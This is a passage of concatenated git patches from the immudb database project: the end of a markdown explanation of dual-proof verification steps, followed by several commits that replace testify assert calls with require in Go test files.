SourceTx included in Target Merkle Tree + subgraph MT1 [Merkle Tree] + direction TB + Root1[Root] + Root1 -.-> Alh1[Alh] + Root1 ==> Alh2[SourceAlh] + Root1 -.-> Alh3[Alh] + Root1 -.-> Alh4[Alh] + Root1 ==> Alh5[TargetBlAlh] + end + + subgraph LP1 [Linear Proof] + direction LR + Alh5 ==> Alh6[Alh] ==> Alh7[Alh] ==> Alh8[TargetAlh] + end + end +``` + +If the `SourceAlh` was not yet included in the Target Merkle Tree, the proof is done entirely +on the linear part - starting from the `SourceAlh` reaching the `TargetAlh`. + +```mermaid +flowchart LR + subgraph SourceTx included in Target Merkle Tree + subgraph MT1 [Merkle Tree] + direction TB + Root1[Root] + Root1 -.-> Alh1[Alh] + Root1 -.-> Alh2[Alh] + Root1 -.-> Alh3[Alh] + Root1 -.-> Alh4[Alh] + Root1 -.-> Alh5[TargetBlAlh] + end + + subgraph LP1 [Linear Proof] + direction LR + Alh5 -.-> Alh6[SourceAlh] ==> Alh7[Alh] ==> Alh8[TargetAlh] + end + end +``` + +**Failure when:** +The linear proof part to get to the `TargetAlh` can not be proven. + +**Code references:** + +- + +#### Step 8. Verify inclusion of the consumed part of the linear proof + +The consistency between two historical states must be proven both as a consistency +between Merkle Trees of those states but also as a consistency between linear parts +and Merkle Trees. + +The Merkle Tree of the target transaction, when larger than the Merkle Tree of the source +transaction will contain entries that were previously part of the linear part in the source +transaction. + +For that reason, it is necessary to ensure that all elements on this consumed linear part +are correctly added into the target Merkle Tree. + +The proof consists of a series of inclusion proofs for elements in the consumed part of the +linear part, along with a linear proof for calculating those elements. + +The range of elements to check is different depending on whether the `SourceTxID` is consumed +by the target Merkle Tree. If it is part of that target Merkle Tree, then the consumed part +is the whole linear chain in the old state (starting with `BlTxID` of the old state and ending +at the `SourceTxID`). If the `SourceTxID` is not yet a part of the target Merkle Tree then the +linear part to be checked is the one that spans between source `BlTxID` and target `BlTxID`. + +It is important to note that the last element of the consumed linear proof part +is already validated through either inclusion of `SourceTxID` in target Merkle Tree (step 4) +or by the inclusion of last element of target Merkle Tree (step 6). + +**Inputs:** +SourceTxID, +SourceTxBlTxID, +SourceAlh, +TargetTxBlRoot, +TargetTxBlTxID, +TargetTxBlAlh, +dualproof.LinearAdvanceProof + +**Outputs:** +none + +**Failure when:** +Can not prove inclusion of consumed linear proof in the target Merkle Tree. + +**Code references:** + +- + +#### Step 9. Verify signature of the TargetTX + +Once all the proofs are performed, the client validates the signature of the new state. +The signature os made over the following data sets serialized into a single byte array: + +- database name length (32-bit BigEndian-encoded length of utf-8 encoded db name in bytes) +- database name (utf-encoded database without aty trailing zeros) +- transaction id (64-bit unsigned BigEndian-encoded integer) +- transaction alh (32-bytes) + +This step is optional and only done if the client was set up with the corresponding server signing public key. + +**Inputs:** +dbName, +TargetTxID, +TargetTxAlh, +Signature + +**Outpus:** +none + +**Failure when:** +The signature of the new state is invalid + +**Code references:** + +- + From 317694e937545061a5f73d825d722f48bf725ea8 Mon Sep 17 00:00:00 2001 From: Jakub Nowik Date: Sun, 13 Nov 2022 23:53:41 +0100 Subject: [PATCH 0034/1062] test(pkg/server): replace assert with require Signed-off-by: Jakub Nowik --- pkg/server/errors_test.go | 10 +++++----- pkg/server/metrics_test.go | 9 ++++----- pkg/server/options_test.go | 9 ++++----- pkg/server/server_test.go | 11 +++++------ pkg/server/sever_current_state_test.go | 6 +++--- pkg/server/state_signer_test.go | 10 +++++----- 6 files changed, 26 insertions(+), 29 deletions(-) diff --git a/pkg/server/errors_test.go b/pkg/server/errors_test.go index b98fed9f73..88d868a8d4 100644 --- a/pkg/server/errors_test.go +++ b/pkg/server/errors_test.go @@ -23,20 +23,20 @@ import ( "github.com/codenotary/immudb/embedded/store" immuerrors "github.com/codenotary/immudb/pkg/errors" - "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" ) func TestMapServerError(t *testing.T) { err := mapServerError(store.ErrIllegalState) - assert.Equal(t, ErrIllegalState, err) + require.Equal(t, ErrIllegalState, err) err = mapServerError(store.ErrIllegalArguments) - assert.Equal(t, ErrIllegalArguments, err) + require.Equal(t, ErrIllegalArguments, err) someError := errors.New("some error") err = mapServerError(someError) - assert.Equal(t, someError, err) + require.Equal(t, someError, err) err = mapServerError(fmt.Errorf("%w: test", store.ErrPreconditionFailed)) - assert.Equal(t, immuerrors.CodIntegrityConstraintViolation, err.(immuerrors.Error).Code()) + require.Equal(t, immuerrors.CodIntegrityConstraintViolation, err.(immuerrors.Error).Code()) } diff --git a/pkg/server/metrics_test.go b/pkg/server/metrics_test.go index 46dad5bfa1..a2da5634fa 100644 --- a/pkg/server/metrics_test.go +++ b/pkg/server/metrics_test.go @@ -27,7 +27,6 @@ import ( "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/promhttp" - "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "google.golang.org/grpc/peer" ) @@ -45,7 +44,7 @@ func TestStartMetrics(t *testing.T) { time.Sleep(200 * time.Millisecond) defer server.Close() - assert.IsType(t, &http.Server{}, server) + require.IsType(t, &http.Server{}, server) } func TestStartMetricsFail(t *testing.T) { @@ -65,7 +64,7 @@ func TestStartMetricsFail(t *testing.T) { time.Sleep(200 * time.Millisecond) defer server.Close() - assert.IsType(t, &http.Server{}, server) + require.IsType(t, &http.Server{}, server) } func TestMetricsCollection_UpdateClientMetrics(t *testing.T) { @@ -104,7 +103,7 @@ func TestMetricsCollection_UpdateClientMetrics(t *testing.T) { ctx := peer.NewContext(context.TODO(), p) mc.UpdateClientMetrics(ctx) - assert.IsType(t, MetricsCollection{}, mc) + require.IsType(t, MetricsCollection{}, mc) } func TestMetricsCollection_UpdateDBMetrics(t *testing.T) { @@ -140,7 +139,7 @@ func TestMetricsCollection_UpdateDBMetrics(t *testing.T) { // update after injecting the funcs, to catch the normal execution path mc.UpdateDBMetrics() - assert.IsType(t, MetricsCollection{}, mc) + require.IsType(t, MetricsCollection{}, mc) } func TestImmudbHealthHandlerFunc(t *testing.T) { diff --git a/pkg/server/options_test.go b/pkg/server/options_test.go index 50d8602e3b..b90d334459 100644 --- a/pkg/server/options_test.go +++ b/pkg/server/options_test.go @@ -24,7 +24,6 @@ import ( "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/stream" - "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) @@ -178,7 +177,7 @@ Superadmin default credentials WithPidfile("immu.pid"). WithLogfile("immu.log") - assert.Equal(t, expected, op.String()) + require.Equal(t, expected, op.String()) } func TestOptionsWithSyncReplicationString(t *testing.T) { @@ -211,7 +210,7 @@ Superadmin default credentials WithSyncReplication(true). WithSyncAcks(1) - assert.Equal(t, expected, op.String()) + require.Equal(t, expected, op.String()) } func TestOptionsStringWithS3(t *testing.T) { @@ -252,7 +251,7 @@ Superadmin default credentials WithS3PathPrefix("s3-path-prefix"), ) - assert.Equal(t, expected, op.String()) + require.Equal(t, expected, op.String()) } func TestOptionsStringWithPProf(t *testing.T) { @@ -282,5 +281,5 @@ Superadmin default credentials WithLogfile("immu.log"). WithPProf(true) - assert.Equal(t, expected, op.String()) + require.Equal(t, expected, op.String()) } diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 823ba79115..afec658740 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -40,7 +40,6 @@ import ( "github.com/codenotary/immudb/pkg/immuos" "github.com/codenotary/immudb/pkg/logger" "github.com/golang/protobuf/ptypes/empty" - "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "google.golang.org/grpc/codes" "google.golang.org/grpc/metadata" @@ -329,7 +328,7 @@ func TestServerWithEmptyAdminPassword(t *testing.T) { defer closer() err := s.Initialize() - assert.ErrorIs(t, err, ErrEmptyAdminPassword) + require.ErrorIs(t, err, ErrEmptyAdminPassword) } func TestServerWithInvalidAdminPassword(t *testing.T) { @@ -342,7 +341,7 @@ func TestServerWithInvalidAdminPassword(t *testing.T) { defer closer() err := s.Initialize() - assert.Error(t, err) + require.Error(t, err) } func TestServerErrChunkSizeTooSmall(t *testing.T) { @@ -354,7 +353,7 @@ func TestServerErrChunkSizeTooSmall(t *testing.T) { defer closer() err := s.Initialize() - assert.ErrorContains(t, err, stream.ErrChunkTooSmall) + require.ErrorContains(t, err, stream.ErrChunkTooSmall) } func TestServerCreateDatabase(t *testing.T) { @@ -427,12 +426,12 @@ func TestServerCreateDatabaseCaseError(t *testing.T) { ctx = metadata.NewIncomingContext(context.Background(), md) _, err = s.CreateDatabaseWith(ctx, newdb) - assert.NoError(t, err) + require.NoError(t, err) newdb.DatabaseName = strings.ToLower(newdb.DatabaseName) _, err = s.CreateDatabaseWith(ctx, newdb) - assert.ErrorIs(t, err, database.ErrDatabaseAlreadyExists) + require.ErrorIs(t, err, database.ErrDatabaseAlreadyExists) } func TestServerCreateMultipleDatabases(t *testing.T) { diff --git a/pkg/server/sever_current_state_test.go b/pkg/server/sever_current_state_test.go index 1c2b4cb322..67c58b8f67 100644 --- a/pkg/server/sever_current_state_test.go +++ b/pkg/server/sever_current_state_test.go @@ -41,7 +41,7 @@ func TestServerCurrentStateSigned(t *testing.T) { dbRootpath := dir sig, err := signer.NewSigner("./../../test/signer/ec3.key") - assert.NoError(t, err) + require.NoError(t, err) stSig := NewStateSigner(sig) s = s.WithOptions(s.Options.WithAuth(false).WithSigningKey("foo")).WithStateSigner(stSig).(*ImmuServer) @@ -66,7 +66,7 @@ func TestServerCurrentStateSigned(t *testing.T) { state, err := s.CurrentState(ctx, &emptypb.Empty{}) - assert.NoError(t, err) + require.NoError(t, err) assert.IsType(t, &schema.ImmutableState{}, state) assert.IsType(t, &schema.Signature{}, state.Signature) assert.NotNil(t, state.Signature.Signature) @@ -76,6 +76,6 @@ func TestServerCurrentStateSigned(t *testing.T) { require.NoError(t, err) ok, err := signer.Verify(state.ToBytes(), state.Signature.Signature, ecdsaPK) - assert.NoError(t, err) + require.NoError(t, err) assert.True(t, ok) } diff --git a/pkg/server/state_signer_test.go b/pkg/server/state_signer_test.go index b005ef7a6c..ab2b0c1d46 100644 --- a/pkg/server/state_signer_test.go +++ b/pkg/server/state_signer_test.go @@ -22,13 +22,13 @@ import ( "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/signer" - "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" ) func TestNewStateSigner(t *testing.T) { s, _ := signer.NewSigner("./../../test/signer/ec3.key") rs := NewStateSigner(s) - assert.IsType(t, &stateSigner{}, rs) + require.IsType(t, &stateSigner{}, rs) } func TestStateSigner_Sign(t *testing.T) { @@ -36,13 +36,13 @@ func TestStateSigner_Sign(t *testing.T) { stSigner := NewStateSigner(s) state := &schema.ImmutableState{} err := stSigner.Sign(state) - assert.NoError(t, err) - assert.IsType(t, &schema.ImmutableState{}, state) + require.NoError(t, err) + require.IsType(t, &schema.ImmutableState{}, state) } func TestStateSigner_Err(t *testing.T) { s, _ := signer.NewSigner("./../../test/signer/ec3.key") stSigner := NewStateSigner(s) err := stSigner.Sign(nil) - assert.Error(t, store.ErrIllegalArguments, err) + require.Error(t, store.ErrIllegalArguments, err) } From 63b2a7fc89a118d85741b03d3db3f3e1f621347e Mon Sep 17 00:00:00 2001 From: Jakub Nowik Date: Mon, 14 Nov 2022 22:43:36 +0100 Subject: [PATCH 0035/1062] test(pkg/client): replace assert with require Signed-off-by: Jakub Nowik --- pkg/client/homedir/homedir_test.go | 62 +++++++++---------- .../streams_verified_integration_test.go | 5 +- pkg/client/timestamp/timestamp_test.go | 8 +-- pkg/client/timestamp_service_test.go | 4 +- 4 files changed, 39 insertions(+), 40 deletions(-) diff --git a/pkg/client/homedir/homedir_test.go b/pkg/client/homedir/homedir_test.go index ae1a6047bf..93b02647ad 100644 --- a/pkg/client/homedir/homedir_test.go +++ b/pkg/client/homedir/homedir_test.go @@ -22,7 +22,7 @@ import ( "path/filepath" "testing" - "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" ) func TestWriteFileToUserHomeDir(t *testing.T) { @@ -31,8 +31,8 @@ func TestWriteFileToUserHomeDir(t *testing.T) { pathToFile := "testfile" user, _ := user.Current() err := hds.WriteFileToUserHomeDir(content, pathToFile) - assert.FileExists(t, filepath.Join(user.HomeDir, pathToFile)) - assert.NoError(t, err) + require.FileExists(t, filepath.Join(user.HomeDir, pathToFile)) + require.NoError(t, err) os.RemoveAll(filepath.Join(user.HomeDir, pathToFile)) } @@ -43,13 +43,13 @@ func TestFileExistsInUserHomeDir(t *testing.T) { user, _ := user.Current() exists, err := hds.FileExistsInUserHomeDir(filepath.Join(user.HomeDir, pathToFile)) - assert.False(t, exists) - assert.NoError(t, err) + require.False(t, exists) + require.NoError(t, err) err = hds.WriteFileToUserHomeDir(content, pathToFile) - assert.NoError(t, err) + require.NoError(t, err) exists, err = hds.FileExistsInUserHomeDir(pathToFile) - assert.True(t, exists) - assert.NoError(t, err) + require.True(t, exists) + require.NoError(t, err) os.RemoveAll(filepath.Join(user.HomeDir, pathToFile)) } @@ -60,15 +60,15 @@ func TestReadFileFromUserHomeDir(t *testing.T) { user, _ := user.Current() _, err := hds.ReadFileFromUserHomeDir(pathToFile) - assert.ErrorIs(t, err, os.ErrNotExist) + require.ErrorIs(t, err, os.ErrNotExist) err = hds.WriteFileToUserHomeDir(content, pathToFile) - assert.NoError(t, err) + require.NoError(t, err) defer os.RemoveAll(filepath.Join(user.HomeDir, pathToFile)) strcontent, err := hds.ReadFileFromUserHomeDir(pathToFile) - assert.NoError(t, err) - assert.NotEmpty(t, strcontent) + require.NoError(t, err) + require.NotEmpty(t, strcontent) } func TestDeleteFileFromUserHomeDir(t *testing.T) { @@ -78,15 +78,15 @@ func TestDeleteFileFromUserHomeDir(t *testing.T) { pathToFile := "testfile" user, _ := user.Current() err := hds.DeleteFileFromUserHomeDir(pathToFile) - assert.ErrorIs(t, err, os.ErrNotExist) + require.ErrorIs(t, err, os.ErrNotExist) err = hds.WriteFileToUserHomeDir(content, pathToFile) - assert.NoError(t, err) + require.NoError(t, err) defer os.RemoveAll(filepath.Join(user.HomeDir, pathToFile)) err = hds.DeleteFileFromUserHomeDir(pathToFile) - assert.NoError(t, err) - assert.NoFileExists(t, filepath.Join(user.HomeDir, pathToFile)) + require.NoError(t, err) + require.NoFileExists(t, filepath.Join(user.HomeDir, pathToFile)) } func TestWriteDirFileToUserHomeDir(t *testing.T) { @@ -95,8 +95,8 @@ func TestWriteDirFileToUserHomeDir(t *testing.T) { pathToFile := filepath.Join(t.TempDir(), "testfile") err := hds.WriteFileToUserHomeDir(content, pathToFile) - assert.NoError(t, err) - assert.FileExists(t, pathToFile) + require.NoError(t, err) + require.FileExists(t, pathToFile) } func TestDirFileExistsInUserHomeDir(t *testing.T) { @@ -105,15 +105,15 @@ func TestDirFileExistsInUserHomeDir(t *testing.T) { pathToFile := filepath.Join(t.TempDir(), "testfile") exists, err := hds.FileExistsInUserHomeDir(pathToFile) - assert.NoError(t, err) - assert.False(t, exists) + require.NoError(t, err) + require.False(t, exists) err = hds.WriteFileToUserHomeDir(content, pathToFile) - assert.NoError(t, err) + require.NoError(t, err) exists, err = hds.FileExistsInUserHomeDir(pathToFile) - assert.NoError(t, err) - assert.True(t, exists) + require.NoError(t, err) + require.True(t, exists) } func TestDirFileFileFromUserHomeDir(t *testing.T) { @@ -122,14 +122,14 @@ func TestDirFileFileFromUserHomeDir(t *testing.T) { pathToFile := filepath.Join(t.TempDir(), "testfile") _, err := hds.ReadFileFromUserHomeDir(pathToFile) - assert.Error(t, err) + require.Error(t, err) err = hds.WriteFileToUserHomeDir(content, pathToFile) - assert.NoError(t, err) + require.NoError(t, err) strcontent, err := hds.ReadFileFromUserHomeDir(pathToFile) - assert.NoError(t, err) - assert.NotEmpty(t, strcontent) + require.NoError(t, err) + require.NotEmpty(t, strcontent) } func TestDeleteDirFileFromUserHomeDir(t *testing.T) { @@ -138,12 +138,12 @@ func TestDeleteDirFileFromUserHomeDir(t *testing.T) { pathToFile := filepath.Join(t.TempDir(), "testfile") err := hds.DeleteFileFromUserHomeDir(pathToFile) - assert.Error(t, err) + require.Error(t, err) err = hds.WriteFileToUserHomeDir(content, pathToFile) - assert.NoError(t, err) + require.NoError(t, err) err = hds.DeleteFileFromUserHomeDir(pathToFile) - assert.NoError(t, err) - assert.NoFileExists(t, pathToFile) + require.NoError(t, err) + require.NoFileExists(t, pathToFile) } diff --git a/pkg/client/streams_verified_integration_test.go b/pkg/client/streams_verified_integration_test.go index a80a1068f0..d3231ac774 100644 --- a/pkg/client/streams_verified_integration_test.go +++ b/pkg/client/streams_verified_integration_test.go @@ -24,7 +24,6 @@ import ( "github.com/codenotary/immudb/pkg/streamutils" "github.com/codenotary/immudb/pkg/api/schema" - "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) @@ -46,6 +45,6 @@ func TestImmuServer_StreamVerifiedSetAndGet(t *testing.T) { entry, err := cliIF.StreamVerifiedGet(ctx, &schema.VerifiableGetRequest{ KeyRequest: &schema.KeyRequest{Key: []byte(tmpFile.Name())}, }) - assert.NoError(t, err) - assert.Equal(t, (8<<20)-1, len(entry.Value)) + require.NoError(t, err) + require.Equal(t, (8<<20)-1, len(entry.Value)) } diff --git a/pkg/client/timestamp/timestamp_test.go b/pkg/client/timestamp/timestamp_test.go index 20273675a4..b11ad7a3e7 100644 --- a/pkg/client/timestamp/timestamp_test.go +++ b/pkg/client/timestamp/timestamp_test.go @@ -20,13 +20,13 @@ import ( "testing" "time" - "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" ) func TestDefault(t *testing.T) { def, err := NewDefaultTimestamp() - assert.NoError(t, err) - assert.IsType(t, def, ×tampDefault{}) + require.NoError(t, err) + require.IsType(t, def, ×tampDefault{}) ts := def.Now() - assert.IsType(t, ts, time.Time{}) + require.IsType(t, ts, time.Time{}) } diff --git a/pkg/client/timestamp_service_test.go b/pkg/client/timestamp_service_test.go index c45689e639..2a298029d6 100644 --- a/pkg/client/timestamp_service_test.go +++ b/pkg/client/timestamp_service_test.go @@ -21,12 +21,12 @@ import ( "time" "github.com/codenotary/immudb/pkg/client/timestamp" - "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" ) func TestTimestampService(t *testing.T) { tg, _ := timestamp.NewDefaultTimestamp() tss := NewTimestampService(tg) tim := tss.GetTime() - assert.IsType(t, tim, time.Time{}) + require.IsType(t, tim, time.Time{}) } From b56a1e8b033c87d7aea011e1ea134db6abeeff94 Mon Sep 17 00:00:00 2001 From: Jakub Nowik Date: Mon, 14 Nov 2022 23:17:33 +0100 Subject: [PATCH 0036/1062] test(pkg/server): replace assert with require Signed-off-by: Jakub Nowik --- pkg/server/sever_current_state_test.go | 11 +++++------ pkg/server/webserver_test.go | 9 ++++----- 2 files changed, 9 insertions(+), 11 deletions(-) diff --git a/pkg/server/sever_current_state_test.go b/pkg/server/sever_current_state_test.go index 67c58b8f67..d1e1ca7317 100644 --- a/pkg/server/sever_current_state_test.go +++ b/pkg/server/sever_current_state_test.go @@ -24,7 +24,6 @@ import ( "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/signer" - "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/emptypb" ) @@ -67,15 +66,15 @@ func TestServerCurrentStateSigned(t *testing.T) { state, err := s.CurrentState(ctx, &emptypb.Empty{}) require.NoError(t, err) - assert.IsType(t, &schema.ImmutableState{}, state) - assert.IsType(t, &schema.Signature{}, state.Signature) - assert.NotNil(t, state.Signature.Signature) - assert.NotNil(t, state.Signature.PublicKey) + require.IsType(t, &schema.ImmutableState{}, state) + require.IsType(t, &schema.Signature{}, state.Signature) + require.NotNil(t, state.Signature.Signature) + require.NotNil(t, state.Signature.PublicKey) ecdsaPK, err := signer.UnmarshalKey(state.Signature.PublicKey) require.NoError(t, err) ok, err := signer.Verify(state.ToBytes(), state.Signature.Signature, ecdsaPK) require.NoError(t, err) - assert.True(t, ok) + require.True(t, ok) } diff --git a/pkg/server/webserver_test.go b/pkg/server/webserver_test.go index 105fda469d..c284730404 100644 --- a/pkg/server/webserver_test.go +++ b/pkg/server/webserver_test.go @@ -24,7 +24,6 @@ import ( "testing" "time" - "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) @@ -49,10 +48,10 @@ func TestStartWebServerHTTP(t *testing.T) { require.NoError(t, err) defer webServer.Close() - assert.IsType(t, &http.Server{}, webServer) + require.IsType(t, &http.Server{}, webServer) client := &http.Client{} - assert.Eventually(t, func() bool { + require.Eventually(t, func() bool { _, err = client.Get("http://0.0.0.0:8080") return err == nil }, 10*time.Second, 30*time.Millisecond) @@ -94,11 +93,11 @@ EKTcWGekdmdDPsHloRNtsiCa697B2O9IFA== require.NoError(t, err) defer webServer.Close() - assert.IsType(t, &http.Server{}, webServer) + require.IsType(t, &http.Server{}, webServer) tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}} client := &http.Client{Transport: tr} - assert.Eventually(t, func() bool { + require.Eventually(t, func() bool { _, err = client.Get("https://0.0.0.0:8080") return err == nil }, 10*time.Second, 30*time.Millisecond) From f3ffbb1ed4d9ffbe2b537e46dc2e5905d38b73a2 Mon Sep 17 00:00:00 2001 From: Jakub Nowik Date: Mon, 14 Nov 2022 23:45:20 +0100 Subject: [PATCH 0037/1062] test(pkg/auth): replace assert with require Signed-off-by: Jakub Nowik --- pkg/auth/clientinterceptors_test.go | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/pkg/auth/clientinterceptors_test.go b/pkg/auth/clientinterceptors_test.go index 5aaaea0b96..74e412931a 100644 --- a/pkg/auth/clientinterceptors_test.go +++ b/pkg/auth/clientinterceptors_test.go @@ -20,7 +20,6 @@ import ( "context" "testing" - "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/metadata" @@ -36,7 +35,7 @@ func TestClientUnaryInterceptor(t *testing.T) { return nil } err := f(context.Background(), "", "", "", nil, invoker) - assert.NoError(t, err) + require.NoError(t, err) } func TestClientStreamInterceptor(t *testing.T) { @@ -48,5 +47,5 @@ func TestClientStreamInterceptor(t *testing.T) { return nil, nil } _, err := f(context.Background(), nil, nil, "", streamer) - assert.NoError(t, err) + require.NoError(t, err) } From 7d1117d823e68eba12e7809a1c4a12e2a85fd695 Mon Sep 17 00:00:00 2001 From: Jakub Nowik Date: Mon, 14 Nov 2022 23:55:45 +0100 Subject: [PATCH 0038/1062] test(pkg/logger): replace assert with require Signed-off-by: Jakub Nowik --- pkg/logger/json_test.go | 92 ++++++++++++++++++++--------------------- 1 file changed, 46 insertions(+), 46 deletions(-) diff --git a/pkg/logger/json_test.go b/pkg/logger/json_test.go index 545ff3a5cb..76fc446566 100644 --- a/pkg/logger/json_test.go +++ b/pkg/logger/json_test.go @@ -25,7 +25,7 @@ import ( "testing" "time" - "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" ) func TestJSONLogger(t *testing.T) { @@ -35,7 +35,7 @@ func TestJSONLogger(t *testing.T) { Name: "test", Output: &buf, }) - assert.NoError(t, err) + require.NoError(t, err) logger.Info("test call", "user", "foo") @@ -46,10 +46,10 @@ func TestJSONLogger(t *testing.T) { t.Fatal(err) } - assert.Equal(t, "test call", raw["message"]) - assert.Equal(t, "foo", raw["user"]) + require.Equal(t, "test call", raw["message"]) + require.Equal(t, "foo", raw["user"]) - assert.NoError(t, logger.Close()) + require.NoError(t, logger.Close()) }) t.Run("use UTC time zone", func(t *testing.T) { @@ -61,7 +61,7 @@ func TestJSONLogger(t *testing.T) { TimeFormat: time.Kitchen, TimeFnc: func() time.Time { return time.Now().UTC() }, }) - assert.NoError(t, err) + require.NoError(t, err) logger.Info("foobar") @@ -77,7 +77,7 @@ func TestJSONLogger(t *testing.T) { t.Fatal("missing 'timestamp' key") } - assert.Equal(t, val, time.Now().UTC().Format(time.Kitchen)) + require.Equal(t, val, time.Now().UTC().Format(time.Kitchen)) }) t.Run("log error type", func(t *testing.T) { @@ -87,7 +87,7 @@ func TestJSONLogger(t *testing.T) { Name: "test", Output: &buf, }) - assert.NoError(t, err) + require.NoError(t, err) errMsg := errors.New("this is an error") logger.Info("test call", "user", "foo", "err", errMsg) @@ -99,9 +99,9 @@ func TestJSONLogger(t *testing.T) { t.Fatal(err) } - assert.Equal(t, "test call", raw["message"]) - assert.Equal(t, "foo", raw["user"]) - assert.Equal(t, errMsg.Error(), raw["err"]) + require.Equal(t, "test call", raw["message"]) + require.Equal(t, "foo", raw["user"]) + require.Equal(t, errMsg.Error(), raw["err"]) }) t.Run("handles non-serializable args", func(t *testing.T) { @@ -111,7 +111,7 @@ func TestJSONLogger(t *testing.T) { Name: "test", Output: &buf, }) - assert.NoError(t, err) + require.NoError(t, err) myfunc := func() int { return 42 } logger.Info("test call", "production", myfunc) @@ -123,13 +123,13 @@ func TestJSONLogger(t *testing.T) { t.Fatal(err) } - assert.Equal(t, "test call", raw["message"]) - assert.Equal(t, errInvalidTypeMsg, raw["warn"]) + require.Equal(t, "test call", raw["message"]) + require.Equal(t, errInvalidTypeMsg, raw["warn"]) }) t.Run("use file output for logging", func(t *testing.T) { file, err := ioutil.TempFile("", "logger") - assert.NoError(t, err) + require.NoError(t, err) defer os.Remove(file.Name()) logger, err := NewJSONLogger(&Options{ @@ -138,22 +138,22 @@ func TestJSONLogger(t *testing.T) { TimeFormat: time.Kitchen, TimeFnc: func() time.Time { return time.Now().UTC() }, }) - assert.NoError(t, err) + require.NoError(t, err) logger.Info("some info", "foo", "bar") logBytes, err := ioutil.ReadFile(file.Name()) - assert.NoError(t, err) + require.NoError(t, err) var raw map[string]interface{} if err := json.Unmarshal(logBytes, &raw); err != nil { t.Fatal(err) } - assert.Equal(t, "some info", raw["message"]) - assert.Equal(t, "bar", raw["foo"]) + require.Equal(t, "some info", raw["message"]) + require.Equal(t, "bar", raw["foo"]) - assert.NoError(t, logger.Close()) + require.NoError(t, logger.Close()) }) t.Run("log with debug", func(t *testing.T) { @@ -162,7 +162,7 @@ func TestJSONLogger(t *testing.T) { Name: "test", Output: &buf, }) - assert.NoError(t, err) + require.NoError(t, err) logger.Debug("some info", "foo", "bar") @@ -173,9 +173,9 @@ func TestJSONLogger(t *testing.T) { t.Fatal(err) } - assert.Equal(t, "some info", raw["message"]) - assert.Equal(t, "bar", raw["foo"]) - assert.Equal(t, "debug", raw["level"]) + require.Equal(t, "some info", raw["message"]) + require.Equal(t, "bar", raw["foo"]) + require.Equal(t, "debug", raw["level"]) }) t.Run("log with warning", func(t *testing.T) { @@ -184,7 +184,7 @@ func TestJSONLogger(t *testing.T) { Name: "test", Output: &buf, }) - assert.NoError(t, err) + require.NoError(t, err) logger.Warning("some info", "foo", "bar") b := buf.Bytes() @@ -194,9 +194,9 @@ func TestJSONLogger(t *testing.T) { t.Fatal(err) } - assert.Equal(t, "some info", raw["message"]) - assert.Equal(t, "bar", raw["foo"]) - assert.Equal(t, "warn", raw["level"]) + require.Equal(t, "some info", raw["message"]) + require.Equal(t, "bar", raw["foo"]) + require.Equal(t, "warn", raw["level"]) }) t.Run("log with error", func(t *testing.T) { @@ -205,7 +205,7 @@ func TestJSONLogger(t *testing.T) { Name: "test", Output: &buf, }) - assert.NoError(t, err) + require.NoError(t, err) logger.Error("some info", "foo", "bar") b := buf.Bytes() @@ -215,9 +215,9 @@ func TestJSONLogger(t *testing.T) { t.Fatal(err) } - assert.Equal(t, "some info", raw["message"]) - assert.Equal(t, "bar", raw["foo"]) - assert.Equal(t, "error", raw["level"]) + require.Equal(t, "some info", raw["message"]) + require.Equal(t, "bar", raw["foo"]) + require.Equal(t, "error", raw["level"]) }) t.Run("log with infof", func(t *testing.T) { @@ -226,7 +226,7 @@ func TestJSONLogger(t *testing.T) { Name: "test", Output: &buf, }) - assert.NoError(t, err) + require.NoError(t, err) logger.Infof("some info %s %s", "foo", "bar") @@ -237,8 +237,8 @@ func TestJSONLogger(t *testing.T) { t.Fatal(err) } - assert.Equal(t, "some info foo bar", raw["message"]) - assert.Equal(t, "info", raw["level"]) + require.Equal(t, "some info foo bar", raw["message"]) + require.Equal(t, "info", raw["level"]) }) t.Run("log with debugf", func(t *testing.T) { @@ -247,7 +247,7 @@ func TestJSONLogger(t *testing.T) { Name: "test", Output: &buf, }) - assert.NoError(t, err) + require.NoError(t, err) logger.Debugf("some info %s %s", "foo", "bar") @@ -258,8 +258,8 @@ func TestJSONLogger(t *testing.T) { t.Fatal(err) } - assert.Equal(t, "some info foo bar", raw["message"]) - assert.Equal(t, "debug", raw["level"]) + require.Equal(t, "some info foo bar", raw["message"]) + require.Equal(t, "debug", raw["level"]) }) t.Run("log with warningf", func(t *testing.T) { @@ -268,7 +268,7 @@ func TestJSONLogger(t *testing.T) { Name: "test", Output: &buf, }) - assert.NoError(t, err) + require.NoError(t, err) logger.Warningf("some info %s %s", "foo", "bar") b := buf.Bytes() @@ -278,8 +278,8 @@ func TestJSONLogger(t *testing.T) { t.Fatal(err) } - assert.Equal(t, "some info foo bar", raw["message"]) - assert.Equal(t, "warn", raw["level"]) + require.Equal(t, "some info foo bar", raw["message"]) + require.Equal(t, "warn", raw["level"]) }) t.Run("log with errorf", func(t *testing.T) { @@ -288,7 +288,7 @@ func TestJSONLogger(t *testing.T) { Name: "test", Output: &buf, }) - assert.NoError(t, err) + require.NoError(t, err) logger.Errorf("some info %s %s", "foo", "bar") b := buf.Bytes() @@ -298,8 +298,8 @@ func TestJSONLogger(t *testing.T) { t.Fatal(err) } - assert.Equal(t, "some info foo bar", raw["message"]) - 